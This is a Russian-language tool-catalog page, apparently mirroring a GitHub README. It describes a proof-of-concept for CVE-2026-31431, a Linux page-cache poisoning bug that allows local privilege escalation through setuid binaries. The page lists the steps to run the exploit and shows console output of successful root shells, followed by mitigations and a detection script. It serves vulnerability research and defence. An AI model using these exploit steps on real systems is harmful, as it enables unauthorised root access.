Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
linux-copy-fail-CVE-2026-31431 — # Эксплойт Proof-of-Concept для CVE-2026-31431 (Copy-Fail) Эксплойт Proof-of-Concept для CVE-2026-31431 (Copy-Fail) — уязвимости в AF_ALG и splice() ядра Linux, позволяющей отравление page cache и локальное повышение привилегий. Включает анализ, результаты лабораторных испытаний и скрипт обнаружения. | Kitploit
Инструменты/GitHubGitHub/adilkurtulmus/linux-copy-fail-cve-2026-31431
Повышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubadilkurtulmus/linux-copy-fail-cve-2026-31431

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

# Эксплойт Proof-of-Concept для CVE-2026-31431 (Copy-Fail) Эксплойт Proof-of-Concept для CVE-2026-31431 (Copy-Fail) — уязвимости в AF_ALG и splice() ядра Linux, позволяющей отравление page cache и локальное повышение привилегий. Включает анализ, результаты лабораторных испытаний и скрипт обнаружения.

linux-copy-fail-CVE-2026-31431

Репозиторий
3 месяцев назадЕщё не проверено
Поделиться

Linux Copy-Fail Анализ (CVE-2026-31431) 🛡️

Этот репозиторий содержит углублённый анализ, Proof-of-Concept (PoC) и результаты лабораторных тестов для уязвимости CVE-2026-31431, широко известной как "Copy-Fail".

Copy-Fail использует логическую ошибку в Crypto API ядра Linux (AF_ALG) в сочетании с системным вызовом splice(). Она позволяет непривилегированному локальному атакующему выполнить отравление Page Cache, что приводит к локальному повышению привилегий (LPE).

🧠 Технический обзор: Отравление Page Cache

В отличие от традиционных эксплойтов, изменяющих файлы на диске, Copy-Fail нацелен непосредственно на Page Cache (ОЗУ). Когда файл читается, ядро сохраняет его копию в ОЗУ для повышения производительности. Из-за ошибки управления памятью в алгоритме authenc на определённых версиях ядра атакующий может обмануть ядро и заставить его перезаписать эти "доступные только для чтения" страницы памяти.

Отравляя страницы памяти SETUID-бинарников, таких как /usr/bin/su, можно обойти аутентификацию и получить root-оболочку.

🧪 Лабораторные среды и результаты тестов

Тесты проводились на нескольких дистрибутивах Ubuntu с особым вниманием к влиянию бэкпортов ядра и управления патчами.

ДистрибутивВерсия ядраДата патчаРезультатНаблюдение
Ubuntu 24.046.8.0-87-genericОкт 2025❌ НеудачаОбновления безопасности активны
Ubuntu 22.045.15.0-125-genericСен 2024✅ УСПЕХУязвим (без патча)
Ubuntu 18.044.15.0-197-genericНоя 2022✅ УСПЕХУязвим (без патча)

Парадокс бэкпортов

Номера версий ядра могут вводить в заблуждение. В то время как "более новые" ядра, такие как 6.8, защищены патчами безопасности, более старые ядра или ядра с истёкшим сроком поддержки (EOL), такие как 4.15 и 5.15, оставались полностью уязвимыми из-за отсутствия бэкпортированных исправлений.

📊 Сравнительный анализ Ubuntu 22.04 (ядро 5.15)

В ходе исследования был получен поразительный результат при тестировании двух разных систем Ubuntu 22.04 с одинаковой основной версией ядра:

Версия ядра

Анализ:

Этот тест доказывает, что безопасность системы нельзя оценивать только по номеру основной версии. Сервер под управлением 5.15.0-125 может быть взломан за секунды, тогда как 5.15.0-170 полностью блокирует атаку.

Вывод успешной эксплуатации (ядро 5.15.0-125):

root@kitploit:~
$ python3 ubuntu_22.04_copy_fail_exploit.py 
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#

🛠️ Proof of Concept (PoC)

PoC был разработан с использованием ctypes для обеспечения совместимости с различными версиями Python (в частности, для версий без встроенной поддержки os.splice).

Ключевые особенности:

  • Низкоуровневые вызовы libc.splice через ctypes.
  • Принудительное кэширование целевого бинарника.
  • Демонстрация латерального воздействия (отравление одним пользователем затрагивает всех пользователей).

Запуск эксплойта:

1.Загрузите необходимые крипто-модули:

sudo modprobe af_alg algif_aead authenc echainiv

2.Выполните эксплойт:

python3 final_exploit.py

🎥 Демонстрация

root@kitploit:~
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#

🛡️ Смягчение и предотвращение

  • 1. Окончательное решение: обновление ядра

  • sudo apt update && sudo apt upgrade -y
  • sudo reboot

2. Экстренное реагирование: очистка кэша

  • Для очистки отравленных страниц в памяти

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

3. Упреждающая защита: блокировка модулей

  • echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
  • echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
  • sudo depmod -a

🛡️ Скрипт обнаружения уязвимости

root@kitploit:~
# 1. Проверьте версию ядра
# uname -r

# 2. Проверьте загруженные модули (безопасно, если нет вывода)
# lsmod | grep -E "algif_aead|authencesn"

# 3. Критический тест — привязка authencesn
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('[!] КРИТИЧНО — система уязвима!')
    s.close()
except:
    print('[+] Безопасно — authencesn недоступен')
"

# 4. Хэш setuid-бинарников (для справки)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

Таблица оценки:

РезультатЗначение
Нет вывода lsmod + ошибка привязки✅ Безопасно
Вывод lsmod существует ИЛИ привязка успешна⚠️ Уязвим, немедленно примените патчи

Отказ от ответственности: Данное исследование и PoC предназначены только для образовательных целей и авторизованного тестирования безопасности. Использование на несанкционированных системах может повлечь юридические последствия.

Скачать инструмент
Дата патча
Результат
Статус
5.15.0-125Сен 2024✅ УСПЕХУязвим (эксплойт сработал)
5.15.0-170Янв 2026❌ НЕУДАЧАБезопасен (запатчен)